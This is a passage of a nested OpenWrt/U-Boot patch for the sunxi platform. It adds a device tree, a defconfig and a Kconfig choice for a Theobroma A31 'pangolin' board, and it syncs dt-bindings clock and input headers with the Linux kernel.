++	pinctrl-0 = <&i2c3_pins_a>;
++	status = "okay";
++
++	rtc_twi: rtc at 6f {
++	 compatible = "isil,isl1208";
++	 reg = <0x6f>;
++	};
++	fan: fan at 18 {
++		compatible = "ti,amc6821";
++		reg = <0x18>;
++		cooling-min-state = <0>;
++		cooling-max-state = <9>;
++		#cooling-cells = <2>;
++	};
++};
++
++&spi0 {
++	status = "okay";
++
++	flash: flash at 0 {
++		compatible = "spansion,m25p40";
++		spi-max-frequency = <16000000>;
++		spi-cpol;
++		spi-cpha;
++	};
++};
++
++&spi1 {
++	status = "okay";
++};
++
++&ir {
++	pinctrl-names = "default";
++	pinctrl-0 = <&ir_pins_a>;
++	status = "okay";
++};
++
++&mmc0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_pangolin>;
++	vmmc-supply = <&reg_vcc3v0>;
++	bus-width = <4>;
++	cd-gpios = <&pio 2 19 GPIO_ACTIVE_LOW>; /* PC19 */
++	status = "okay";
++};
++
++&mmc0_pins_a {
++	/* external pull-ups missing for some pins */
++	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++};
++
++&mmc2 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc2_pins_a>;
++	vmmc-supply = <&reg_vcc3v0>;
++	bus-width = <8>;
++	non-removable;
++	status = "okay";
++};
++
++&pio {
++	mmc0_cd_pin_pangolin: mmc0_cd_pin at 0 {
++		allwinner,pins = "PC19";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
++	leds_pins_pangolin: led_pins at 0 {
++		allwinner,pins = "PH7", "PC16";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_20_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	mmc2_pins_a: mmc2 at 0 {
++		allwinner,pins = "PC6","PC7","PC8","PC9","PC10","PC11",
++				"PC12","PC13","PC14","PC15";
++		allwinner,function = "mmc2";
++		allwinner,drive = <SUN4I_PINCTRL_30_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++};
++
++&p2wi {
++	status = "okay";
++
++	axp221: pmic at 68 {
++		compatible = "x-powers,axp221";
++		reg = <0x68>;
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++		interrupt-controller;
++		#interrupt-cells = <1>;
++		dcdc1-supply = <&vcc_3v0>;
++		dcdc5-supply = <&vcc_dram>;
++
++		regulators {
++			x-powers,dcdc-freq = <3000>;
++
++			vcc_3v0: dcdc1 {
++				regulator-always-on;
++				regulator-min-microvolt = <3000000>;
++				regulator-max-microvolt = <3000000>;
++				regulator-name = "vcc-3v0";
++			};
++
++			vdd_cpu: dcdc2 {
++				regulator-always-on;
++				regulator-min-microvolt = <700000>;
++				regulator-max-microvolt = <1320000>;
++				regulator-name = "vdd-cpu";
++			};
++
++			vdd_gpu: dcdc3 {
++				regulator-always-on;
++				regulator-min-microvolt = <700000>;
++				regulator-max-microvolt = <1320000>;
++				regulator-name = "vdd-gpu";
++			};
++
++			vdd_sys_dll: dcdc4 {
++				regulator-always-on;
++				regulator-min-microvolt = <1100000>;
++				regulator-max-microvolt = <1100000>;
++				regulator-name = "vdd-sys-dll";
++			};
++
++			vcc_dram: dcdc5 {
++				regulator-always-on;
++				regulator-min-microvolt = <1500000>;
++				regulator-max-microvolt = <1500000>;
++				regulator-name = "vcc-dram";
++			};
++
++			vcc_wifi: aldo1 {
++				regulator-min-microvolt = <3300000>;
++				regulator-max-microvolt = <3300000>;
++				regulator-name = "vcc_wifi";
++			};
++
++			avcc: aldo3 {
++				regulator-always-on;
++				regulator-min-microvolt = <3000000>;
++				regulator-max-microvolt = <3000000>;
++				regulator-name = "avcc";
++			};
++		};
++	};
++};
++
++&uart0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&uart0_pins_a>;
++	status = "okay";
++};
++
++&usb1_vbus_pin_a {
++	allwinner,pins = "PD23";
++};
++
++&reg_usb1_vbus {
++	gpio = <&pio 3 23 GPIO_ACTIVE_HIGH>; /* PD 23 */
++	status = "okay";
++};
++
++&usbphy {
++	status = "okay";
++	usb1_vbus-supply = <&reg_usb1_vbus>;
++};
+--- /dev/null
++++ b/configs/pangolin_defconfig
+@@ -0,0 +1,36 @@
++CONFIG_SUNXI_PANGOLIN=y
++CONFIG_SPL=y
++CONFIG_SYS_EXTRA_OPTIONS="USB_EHCI,SUNXI_GMAC,RGMII"
++CONFIG_DEFAULT_DEVICE_TREE="sun6i-a31-pangolin"
++CONFIG_VIDEO_VGA_VIA_LCD=y
++CONFIG_VIDEO_VGA_EXTERNAL_DAC_EN="PH25"
++CONFIG_ARM=y
++CONFIG_ARCH_SUNXI=y
++CONFIG_MACH_SUN6I=y
++CONFIG_DRAM_CHANNELS=1
++CONFIG_DRAM_CLK=360
++CONFIG_DRAM_ZQ=70
++CONFIG_AXP_DCDC1_VOLT=3300
++CONFIG_AXP_ALDO1_VOLT=0
++CONFIG_AXP_ALDO2_VOLT=1800
++CONFIG_AXP_ALDO3_VOLT=3000
++CONFIG_AXP_DLDO4_VOLT=3300
++CONFIG_AXP_ELDO1_VOLT=1200
++CONFIG_AXP_ELDO2_VOLT=2500
++CONFIG_AXP_ELDO3_VOLT=3300
++CONFIG_MMC_SUNXI_SLOT_EXTRA=2
++CONFIG_CONS_INDEX=3
++# Vbus gpio for usb1
++CONFIG_USB1_VBUS_PIN=""
++# No Vbus gpio for usb2
++CONFIG_USB2_VBUS_PIN=""
++CONFIG_USB=y
++CONFIG_DM_USB=y
++CONFIG_USB_EHCI=y
++CONFIG_USB_KEYBOARD=y
++CONFIG_DM_ETH=y
++CONFIG_CMD_IMLS=n
++CONFIG_ETH_DESIGNWARE=y
++CONFIG_DM_SPI=y
++CONFIG_DM_SPI_FLASH=y
++CONFIG_SUNXI_SPI=y
+--- a/board/sunxi/Kconfig
++++ b/board/sunxi/Kconfig
+@@ -15,7 +15,6 @@ config SUNXI_GEN_SUN6I
+ 	separate ahb reset control registers, custom pmic bus, new style
+ 	watchdog, etc.
+ 
+-
+ choice
+ 	prompt "Sunxi SoC Variant"
+ 	optional
+@@ -533,6 +532,14 @@ config VIDEO_LCD_PANEL_I2C_SCL
+ 	Set the SCL pin for the LCD i2c interface. This takes a string in the
+ 	format understood by sunxi_name_to_gpio, e.g. PH1 for pin 1 of port H.
+ 
++choice
++	prompt "Sunxi Board Variant"
++	optional
++
++config SUNXI_PANGOLIN
++	bool "Theobroma A31 uQ7 Board"
++
++endchoice
+ 
+ # Note only one of these may be selected at a time! But hidden choices are
+ # not supported by Kconfig
diff --git a/target/linux/sunxi/image/uboot/patches/010-dt-sync-files-with-kernel.patch b/target/linux/sunxi/image/uboot/patches/010-dt-sync-files-with-kernel.patch
new file mode 100644
index 0000000..d8fa52c
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/010-dt-sync-files-with-kernel.patch
@@ -0,0 +1,1403 @@
+From 4bb656e9dde2019cb42ac4c27b3a114a801ad127 Mon Sep 17 00:00:00 2001
+From: Hans de Goede <hdegoede at redhat.com>
+Date: Wed, 16 Mar 2016 13:41:23 +0100
+Subject: [PATCH] include/dt-bindings: Sync some files with the kernel
+
+This commit syncs the dt-bindings/input/* headers with the kernel (v4.5)
+and adds dt-bindings/clock/sun4i-a10-pll2.h, both are necessary for newer
+sunxi dts files to build.
+
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+Reviewed-by: Tom Rini <trini at konsulko.com>
+Acked-by: Ian Campbell <ijc at hellion.org.uk>
+---
+ include/dt-bindings/clock/sun4i-a10-pll2.h    |  53 ++
+ include/dt-bindings/input/input.h             | 510 +---------------
+ include/dt-bindings/input/linux-event-codes.h | 805 ++++++++++++++++++++++++++
+ 3 files changed, 859 insertions(+), 509 deletions(-)
+ create mode 100644 include/dt-bindings/clock/sun4i-a10-pll2.h
+ create mode 100644 include/dt-bindings/input/linux-event-codes.h
+
+--- /dev/null
++++ b/include/dt-bindings/clock/sun4i-a10-pll2.h
+@@ -0,0 +1,53 @@
++/*
++ * Copyright 2015 Maxime Ripard
++ *
++ * Maxime Ripard <maxime.ripard at free-electrons.com>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++#ifndef __DT_BINDINGS_CLOCK_SUN4I_A10_PLL2_H_
++#define __DT_BINDINGS_CLOCK_SUN4I_A10_PLL2_H_
++
++#define SUN4I_A10_PLL2_1X	0
++#define SUN4I_A10_PLL2_2X	1
++#define SUN4I_A10_PLL2_4X	2
++#define SUN4I_A10_PLL2_8X	3
++
++#endif /* __DT_BINDINGS_CLOCK_SUN4I_A10_PLL2_H_ */
+--- a/include/dt-bindings/input/input.h
++++ b/include/dt-bindings/input/input.h
+@@ -9,515 +9,7 @@
+ #ifndef _DT_BINDINGS_INPUT_INPUT_H
+ #define _DT_BINDINGS_INPUT_INPUT_H
+ 
+-#define KEY_RESERVED		0
+-#define KEY_ESC			1
+-#define KEY_1			2
+-#define KEY_2			3
+-#define KEY_3			4
+-#define KEY_4			5
+-#define KEY_5			6
+-#define KEY_6			7
+-#define KEY_7			8
+-#define KEY_8			9
+-#define KEY_9			10
+-#define KEY_0			11
+-#define KEY_MINUS		12
+-#define KEY_EQUAL		13
+-#define KEY_BACKSPACE		14
+-#define KEY_TAB			15
+-#define KEY_Q			16
+-#define KEY_W			17
+-#define KEY_E			18
+-#define KEY_R			19
+-#define KEY_T			20
+-#define KEY_Y			21
+-#define KEY_U			22
+-#define KEY_I			23
+-#define KEY_O			24
+-#define KEY_P			25
+-#define KEY_LEFTBRACE		26
+-#define KEY_RIGHTBRACE		27
+-#define KEY_ENTER		28
+-#define KEY_LEFTCTRL		29
+-#define KEY_A			30
+-#define KEY_S			31
+-#define KEY_D			32
+-#define KEY_F			33
+-#define KEY_G			34
+-#define KEY_H			35
+-#define KEY_J			36
+-#define KEY_K			37
+-#define KEY_L			38
+-#define KEY_SEMICOLON		39
+-#define KEY_APOSTROPHE		40
+-#define KEY_GRAVE		41
+-#define KEY_LEFTSHIFT		42
+-#define KEY_BACKSLASH		43
+-#define KEY_Z			44
+-#define KEY_X			45
+-#define KEY_C			46
+-#define KEY_V			47
+-#define KEY_B			48
+-#define KEY_N			49
+-#define KEY_M			50
+-#define KEY_COMMA		51
+-#define KEY_DOT			52
+-#define KEY_SLASH		53
+-#define KEY_RIGHTSHIFT		54
+-#define KEY_KPASTERISK		55
+-#define KEY_LEFTALT		56
+-#define KEY_SPACE		57
+-#define KEY_CAPSLOCK		58
+-#define KEY_F1			59
+-#define KEY_F2			60
+-#define KEY_F3			61
+-#define KEY_F4			62
+-#define KEY_F5			63
+-#define KEY_F6			64
+-#define KEY_F7			65
+-#define KEY_F8			66
+-#define KEY_F9			67
+-#define KEY_F10			68
+-#define KEY_NUMLOCK		69
+-#define KEY_SCROLLLOCK		70
+-#define KEY_KP7			71
+-#define KEY_KP8			72
+-#define KEY_KP9			73
+-#define KEY_KPMINUS		74
+-#define KEY_KP4			75
+-#define KEY_KP5			76
+-#define KEY_KP6			77
+-#define KEY_KPPLUS		78
+-#define KEY_KP1			79
+-#define KEY_KP2			80
+-#define KEY_KP3			81
+-#define KEY_KP0			82
+-#define KEY_KPDOT		83
+-
+-#define KEY_ZENKAKUHANKAKU	85
+-#define KEY_102ND		86
+-#define KEY_F11			87
+-#define KEY_F12			88
+-#define KEY_RO			89
+-#define KEY_KATAKANA		90
+-#define KEY_HIRAGANA		91
+-#define KEY_HENKAN		92
+-#define KEY_KATAKANAHIRAGANA	93
+-#define KEY_MUHENKAN		94
+-#define KEY_KPJPCOMMA		95
+-#define KEY_KPENTER		96
+-#define KEY_RIGHTCTRL		97
+-#define KEY_KPSLASH		98
+-#define KEY_SYSRQ		99
+-#define KEY_RIGHTALT		100
+-#define KEY_LINEFEED		101
+-#define KEY_HOME		102
+-#define KEY_UP			103
+-#define KEY_PAGEUP		104
+-#define KEY_LEFT		105
+-#define KEY_RIGHT		106
+-#define KEY_END			107
+-#define KEY_DOWN		108
+-#define KEY_PAGEDOWN		109
+-#define KEY_INSERT		110
+-#define KEY_DELETE		111
+-#define KEY_MACRO		112
+-#define KEY_MUTE		113
+-#define KEY_VOLUMEDOWN		114
+-#define KEY_VOLUMEUP		115
+-#define KEY_POWER		116	/* SC System Power Down */
+-#define KEY_KPEQUAL		117
+-#define KEY_KPPLUSMINUS		118
+-#define KEY_PAUSE		119
+-#define KEY_SCALE		120	/* AL Compiz Scale (Expose) */
+-
+-#define KEY_KPCOMMA		121
+-#define KEY_HANGEUL		122
+-#define KEY_HANGUEL		KEY_HANGEUL
+-#define KEY_HANJA		123
+-#define KEY_YEN			124
+-#define KEY_LEFTMETA		125
+-#define KEY_RIGHTMETA		126
+-#define KEY_COMPOSE		127
+-
+-#define KEY_STOP		128	/* AC Stop */
+-#define KEY_AGAIN		129
+-#define KEY_PROPS		130	/* AC Properties */
+-#define KEY_UNDO		131	/* AC Undo */
+-#define KEY_FRONT		132
+-#define KEY_COPY		133	/* AC Copy */
+-#define KEY_OPEN		134	/* AC Open */
+-#define KEY_PASTE		135	/* AC Paste */
+-#define KEY_FIND		136	/* AC Search */
+-#define KEY_CUT			137	/* AC Cut */
+-#define KEY_HELP		138	/* AL Integrated Help Center */
+-#define KEY_MENU		139	/* Menu (show menu) */
+-#define KEY_CALC		140	/* AL Calculator */
+-#define KEY_SETUP		141
+-#define KEY_SLEEP		142	/* SC System Sleep */
+-#define KEY_WAKEUP		143	/* System Wake Up */
+-#define KEY_FILE		144	/* AL Local Machine Browser */
+-#define KEY_SENDFILE		145
+-#define KEY_DELETEFILE		146
+-#define KEY_XFER		147
+-#define KEY_PROG1		148
+-#define KEY_PROG2		149
+-#define KEY_WWW			150	/* AL Internet Browser */
+-#define KEY_MSDOS		151
+-#define KEY_COFFEE		152	/* AL Terminal Lock/Screensaver */
+-#define KEY_SCREENLOCK		KEY_COFFEE
+-#define KEY_DIRECTION		153
+-#define KEY_CYCLEWINDOWS	154
+-#define KEY_MAIL		155
+-#define KEY_BOOKMARKS		156	/* AC Bookmarks */
+-#define KEY_COMPUTER		157
+-#define KEY_BACK		158	/* AC Back */
+-#define KEY_FORWARD		159	/* AC Forward */
+-#define KEY_CLOSECD		160
+-#define KEY_EJECTCD		161
+-#define KEY_EJECTCLOSECD	162
+-#define KEY_NEXTSONG		163
+-#define KEY_PLAYPAUSE		164
+-#define KEY_PREVIOUSSONG	165
+-#define KEY_STOPCD		166
+-#define KEY_RECORD		167
+-#define KEY_REWIND		168
+-#define KEY_PHONE		169	/* Media Select Telephone */
+-#define KEY_ISO			170
+-#define KEY_CONFIG		171	/* AL Consumer Control Configuration */
+-#define KEY_HOMEPAGE		172	/* AC Home */
+-#define KEY_REFRESH		173	/* AC Refresh */
+-#define KEY_EXIT		174	/* AC Exit */
+-#define KEY_MOVE		175
+-#define KEY_EDIT		176
+-#define KEY_SCROLLUP		177
+-#define KEY_SCROLLDOWN		178
+-#define KEY_KPLEFTPAREN		179
+-#define KEY_KPRIGHTPAREN	180
+-#define KEY_NEW			181	/* AC New */
+-#define KEY_REDO		182	/* AC Redo/Repeat */
+-
+-#define KEY_F13			183
+-#define KEY_F14			184
+-#define KEY_F15			185
+-#define KEY_F16			186
+-#define KEY_F17			187
+-#define KEY_F18			188
+-#define KEY_F19			189
+-#define KEY_F20			190
+-#define KEY_F21			191
+-#define KEY_F22			192
+-#define KEY_F23			193
+-#define KEY_F24			194
+-
+-#define KEY_PLAYCD		200
+-#define KEY_PAUSECD		201
+-#define KEY_PROG3		202
+-#define KEY_PROG4		203
+-#define KEY_DASHBOARD		204	/* AL Dashboard */
+-#define KEY_SUSPEND		205
+-#define KEY_CLOSE		206	/* AC Close */
+-#define KEY_PLAY		207
+-#define KEY_FASTFORWARD		208
+-#define KEY_BASSBOOST		209
+-#define KEY_PRINT		210	/* AC Print */
+-#define KEY_HP			211
+-#define KEY_CAMERA		212
+-#define KEY_SOUND		213
+-#define KEY_QUESTION		214
+-#define KEY_EMAIL		215
+-#define KEY_CHAT		216
+-#define KEY_SEARCH		217
+-#define KEY_CONNECT		218
+-#define KEY_FINANCE		219	/* AL Checkbook/Finance */
+-#define KEY_SPORT		220
+-#define KEY_SHOP		221
+-#define KEY_ALTERASE		222
+-#define KEY_CANCEL		223	/* AC Cancel */
+-#define KEY_BRIGHTNESSDOWN	224
+-#define KEY_BRIGHTNESSUP	225
+-#define KEY_MEDIA		226
+-
+-#define KEY_SWITCHVIDEOMODE	227	/* Cycle between available video
+-					   outputs (Monitor/LCD/TV-out/etc) */
+-#define KEY_KBDILLUMTOGGLE	228
+-#define KEY_KBDILLUMDOWN	229
+-#define KEY_KBDILLUMUP		230
+-
+-#define KEY_SEND		231	/* AC Send */
+-#define KEY_REPLY		232	/* AC Reply */
+-#define KEY_FORWARDMAIL		233	/* AC Forward Msg */
+-#define KEY_SAVE		234	/* AC Save */
+-#define KEY_DOCUMENTS		235
+-
+-#define KEY_BATTERY		236
+-
+-#define KEY_BLUETOOTH		237
+-#define KEY_WLAN		238
+-#define KEY_UWB			239
+-
+-#define KEY_UNKNOWN		240
+-
+-#define KEY_VIDEO_NEXT		241	/* drive next video source */
+-#define KEY_VIDEO_PREV		242	/* drive previous video source */
+-#define KEY_BRIGHTNESS_CYCLE	243	/* brightness up, after max is min */
+-#define KEY_BRIGHTNESS_ZERO	244	/* brightness off, use ambient */
+-#define KEY_DISPLAY_OFF		245	/* display device to off state */
+-
+-#define KEY_WIMAX		246
+-#define KEY_RFKILL		247	/* Key that controls all radios */
+-
+-#define KEY_MICMUTE		248	/* Mute / unmute the microphone */
+-
+-/* Code 255 is reserved for special needs of AT keyboard driver */
+-
+-#define BTN_MISC		0x100
+-#define BTN_0			0x100
+-#define BTN_1			0x101
+-#define BTN_2			0x102
+-#define BTN_3			0x103
+-#define BTN_4			0x104
+-#define BTN_5			0x105
+-#define BTN_6			0x106
+-#define BTN_7			0x107
+-#define BTN_8			0x108
+-#define BTN_9			0x109
+-
+-#define BTN_MOUSE		0x110
+-#define BTN_LEFT		0x110
+-#define BTN_RIGHT		0x111
+-#define BTN_MIDDLE		0x112
+-#define BTN_SIDE		0x113
+-#define BTN_EXTRA		0x114
+-#define BTN_FORWARD		0x115
+-#define BTN_BACK		0x116
+-#define BTN_TASK		0x117
+-
+-#define BTN_JOYSTICK		0x120
+-#define BTN_TRIGGER		0x120
+-#define BTN_THUMB		0x121
+-#define BTN_THUMB2		0x122
+-#define BTN_TOP			0x123
+-#define BTN_TOP2		0x124
+-#define BTN_PINKIE		0x125
+-#define BTN_BASE		0x126
+-#define BTN_BASE2		0x127
+-#define BTN_BASE3		0x128
+-#define BTN_BASE4		0x129
+-#define BTN_BASE5		0x12a
+-#define BTN_BASE6		0x12b
+-#define BTN_DEAD		0x12f
+-
+-#define BTN_GAMEPAD		0x130
+-#define BTN_SOUTH		0x130
+-#define BTN_A			BTN_SOUTH
+-#define BTN_EAST		0x131
+-#define BTN_B			BTN_EAST
+-#define BTN_C			0x132
+-#define BTN_NORTH		0x133
+-#define BTN_X			BTN_NORTH
+-#define BTN_WEST		0x134
+-#define BTN_Y			BTN_WEST
+-#define BTN_Z			0x135
+-#define BTN_TL			0x136
+-#define BTN_TR			0x137
+-#define BTN_TL2			0x138
+-#define BTN_TR2			0x139
+-#define BTN_SELECT		0x13a
+-#define BTN_START		0x13b
+-#define BTN_MODE		0x13c
+-#define BTN_THUMBL		0x13d
+-#define BTN_THUMBR		0x13e
+-
+-#define BTN_DIGI		0x140
+-#define BTN_TOOL_PEN		0x140
+-#define BTN_TOOL_RUBBER		0x141
+-#define BTN_TOOL_BRUSH		0x142
+-#define BTN_TOOL_PENCIL		0x143
+-#define BTN_TOOL_AIRBRUSH	0x144
+-#define BTN_TOOL_FINGER		0x145
+-#define BTN_TOOL_MOUSE		0x146
+-#define BTN_TOOL_LENS		0x147
+-#define BTN_TOOL_QUINTTAP	0x148	/* Five fingers on trackpad */
+-#define BTN_TOUCH		0x14a
+-#define BTN_STYLUS		0x14b
+-#define BTN_STYLUS2		0x14c
+-#define BTN_TOOL_DOUBLETAP	0x14d
+-#define BTN_TOOL_TRIPLETAP	0x14e
+-#define BTN_TOOL_QUADTAP	0x14f	/* Four fingers on trackpad */
+-
+-#define BTN_WHEEL		0x150
+-#define BTN_GEAR_DOWN		0x150
+-#define BTN_GEAR_UP		0x151
+-
+-#define KEY_OK			0x160
+-#define KEY_SELECT		0x161
+-#define KEY_GOTO		0x162
+-#define KEY_CLEAR		0x163
+-#define KEY_POWER2		0x164
+-#define KEY_OPTION		0x165
+-#define KEY_INFO		0x166	/* AL OEM Features/Tips/Tutorial */
+-#define KEY_TIME		0x167
+-#define KEY_VENDOR		0x168
+-#define KEY_ARCHIVE		0x169
+-#define KEY_PROGRAM		0x16a	/* Media Select Program Guide */
+-#define KEY_CHANNEL		0x16b
+-#define KEY_FAVORITES		0x16c
+-#define KEY_EPG			0x16d
+-#define KEY_PVR			0x16e	/* Media Select Home */
+-#define KEY_MHP			0x16f
+-#define KEY_LANGUAGE		0x170
+-#define KEY_TITLE		0x171
+-#define KEY_SUBTITLE		0x172
+-#define KEY_ANGLE		0x173
+-#define KEY_ZOOM		0x174
+-#define KEY_MODE		0x175
+-#define KEY_KEYBOARD		0x176
+-#define KEY_SCREEN		0x177
+-#define KEY_PC			0x178	/* Media Select Computer */
+-#define KEY_TV			0x179	/* Media Select TV */
+-#define KEY_TV2			0x17a	/* Media Select Cable */
+-#define KEY_VCR			0x17b	/* Media Select VCR */
+-#define KEY_VCR2		0x17c	/* VCR Plus */
+-#define KEY_SAT			0x17d	/* Media Select Satellite */
+-#define KEY_SAT2		0x17e
+-#define KEY_CD			0x17f	/* Media Select CD */
+-#define KEY_TAPE		0x180	/* Media Select Tape */
+-#define KEY_RADIO		0x181
+-#define KEY_TUNER		0x182	/* Media Select Tuner */
+-#define KEY_PLAYER		0x183
+-#define KEY_TEXT		0x184
+-#define KEY_DVD			0x185	/* Media Select DVD */
+-#define KEY_AUX			0x186
+-#define KEY_MP3			0x187
+-#define KEY_AUDIO		0x188	/* AL Audio Browser */
+-#define KEY_VIDEO		0x189	/* AL Movie Browser */
+-#define KEY_DIRECTORY		0x18a
+-#define KEY_LIST		0x18b
+-#define KEY_MEMO		0x18c	/* Media Select Messages */
+-#define KEY_CALENDAR		0x18d
+-#define KEY_RED			0x18e
+-#define KEY_GREEN		0x18f
+-#define KEY_YELLOW		0x190
+-#define KEY_BLUE		0x191
+-#define KEY_CHANNELUP		0x192	/* Channel Increment */
+-#define KEY_CHANNELDOWN		0x193	/* Channel Decrement */
+-#define KEY_FIRST		0x194
+-#define KEY_LAST		0x195	/* Recall Last */
+-#define KEY_AB			0x196
+-#define KEY_NEXT		0x197
+-#define KEY_RESTART		0x198
+-#define KEY_SLOW		0x199
+-#define KEY_SHUFFLE		0x19a
+-#define KEY_BREAK		0x19b
+-#define KEY_PREVIOUS		0x19c
+-#define KEY_DIGITS		0x19d
+-#define KEY_TEEN		0x19e
+-#define KEY_TWEN		0x19f
+-#define KEY_VIDEOPHONE		0x1a0	/* Media Select Video Phone */
+-#define KEY_GAMES		0x1a1	/* Media Select Games */
+-#define KEY_ZOOMIN		0x1a2	/* AC Zoom In */
+-#define KEY_ZOOMOUT		0x1a3	/* AC Zoom Out */
+-#define KEY_ZOOMRESET		0x1a4	/* AC Zoom */
+-#define KEY_WORDPROCESSOR	0x1a5	/* AL Word Processor */
+-#define KEY_EDITOR		0x1a6	/* AL Text Editor */
+-#define KEY_SPREADSHEET		0x1a7	/* AL Spreadsheet */
+-#define KEY_GRAPHICSEDITOR	0x1a8	/* AL Graphics Editor */
+-#define KEY_PRESENTATION	0x1a9	/* AL Presentation App */
+-#define KEY_DATABASE		0x1aa	/* AL Database App */
+-#define KEY_NEWS		0x1ab	/* AL Newsreader */
+-#define KEY_VOICEMAIL		0x1ac	/* AL Voicemail */
+-#define KEY_ADDRESSBOOK		0x1ad	/* AL Contacts/Address Book */
+-#define KEY_MESSENGER		0x1ae	/* AL Instant Messaging */
+-#define KEY_DISPLAYTOGGLE	0x1af	/* Turn display (LCD) on and off */
+-#define KEY_SPELLCHECK		0x1b0   /* AL Spell Check */
+-#define KEY_LOGOFF		0x1b1   /* AL Logoff */
+-
+-#define KEY_DOLLAR		0x1b2
+-#define KEY_EURO		0x1b3
+-
+-#define KEY_FRAMEBACK		0x1b4	/* Consumer - transport controls */
+-#define KEY_FRAMEFORWARD	0x1b5
+-#define KEY_CONTEXT_MENU	0x1b6	/* GenDesc - system context menu */
+-#define KEY_MEDIA_REPEAT	0x1b7	/* Consumer - transport control */
+-#define KEY_10CHANNELSUP	0x1b8	/* 10 channels up (10+) */
+-#define KEY_10CHANNELSDOWN	0x1b9	/* 10 channels down (10-) */
+-#define KEY_IMAGES		0x1ba	/* AL Image Browser */
+-
+-#define KEY_DEL_EOL		0x1c0
+-#define KEY_DEL_EOS		0x1c1
+-#define KEY_INS_LINE		0x1c2
+-#define KEY_DEL_LINE		0x1c3
+-
+-#define KEY_FN			0x1d0
+-#define KEY_FN_ESC		0x1d1
+-#define KEY_FN_F1		0x1d2
+-#define KEY_FN_F2		0x1d3
+-#define KEY_FN_F3		0x1d4
+-#define KEY_FN_F4		0x1d5
+-#define KEY_FN_F5		0x1d6
+-#define KEY_FN_F6		0x1d7
+-#define KEY_FN_F7		0x1d8
+-#define KEY_FN_F8		0x1d9
+-#define KEY_FN_F9		0x1da
+-#define KEY_FN_F10		0x1db
+-#define KEY_FN_F11		0x1dc
+-#define KEY_FN_F12		0x1dd
+-#define KEY_FN_1		0x1de
+-#define KEY_FN_2		0x1df
+-#define KEY_FN_D		0x1e0
+-#define KEY_FN_E		0x1e1
+-#define KEY_FN_F		0x1e2
+-#define KEY_FN_S		0x1e3
+-#define KEY_FN_B		0x1e4
+-
+-#define KEY_BRL_DOT1		0x1f1
+-#define KEY_BRL_DOT2		0x1f2
+-#define KEY_BRL_DOT3		0x1f3
+-#define KEY_BRL_DOT4		0x1f4
+-#define KEY_BRL_DOT5		0x1f5
+-#define KEY_BRL_DOT6		0x1f6
+-#define KEY_BRL_DOT7		0x1f7
+-#define KEY_BRL_DOT8		0x1f8
+-#define KEY_BRL_DOT9		0x1f9
+-#define KEY_BRL_DOT10		0x1fa
+-
+-#define KEY_NUMERIC_0		0x200	/* used by phones, remote controls, */
+-#define KEY_NUMERIC_1		0x201	/* and other keypads */
+-#define KEY_NUMERIC_2		0x202
+-#define KEY_NUMERIC_3		0x203
+-#define KEY_NUMERIC_4		0x204
+-#define KEY_NUMERIC_5		0x205
+-#define KEY_NUMERIC_6		0x206
+-#define KEY_NUMERIC_7		0x207
+-#define KEY_NUMERIC_8		0x208
+-#define KEY_NUMERIC_9		0x209
+-#define KEY_NUMERIC_STAR	0x20a
+-#define KEY_NUMERIC_POUND	0x20b
+-
+-#define KEY_CAMERA_FOCUS	0x210
+-#define KEY_WPS_BUTTON		0x211	/* WiFi Protected Setup key */
+-
+-#define KEY_TOUCHPAD_TOGGLE	0x212	/* Request switch touchpad on or off */
+-#define KEY_TOUCHPAD_ON		0x213
+-#define KEY_TOUCHPAD_OFF	0x214
+-
+-#define KEY_CAMERA_ZOOMIN	0x215
+-#define KEY_CAMERA_ZOOMOUT	0x216
+-#define KEY_CAMERA_UP		0x217
+-#define KEY_CAMERA_DOWN		0x218
+-#define KEY_CAMERA_LEFT		0x219
+-#define KEY_CAMERA_RIGHT	0x21a
+-
+-#define KEY_ATTENDANT_ON	0x21b
+-#define KEY_ATTENDANT_OFF	0x21c
+-#define KEY_ATTENDANT_TOGGLE	0x21d	/* Attendant call on or off */
+-#define KEY_LIGHTS_TOGGLE	0x21e	/* Reading light on or off */
+-
+-#define BTN_DPAD_UP		0x220
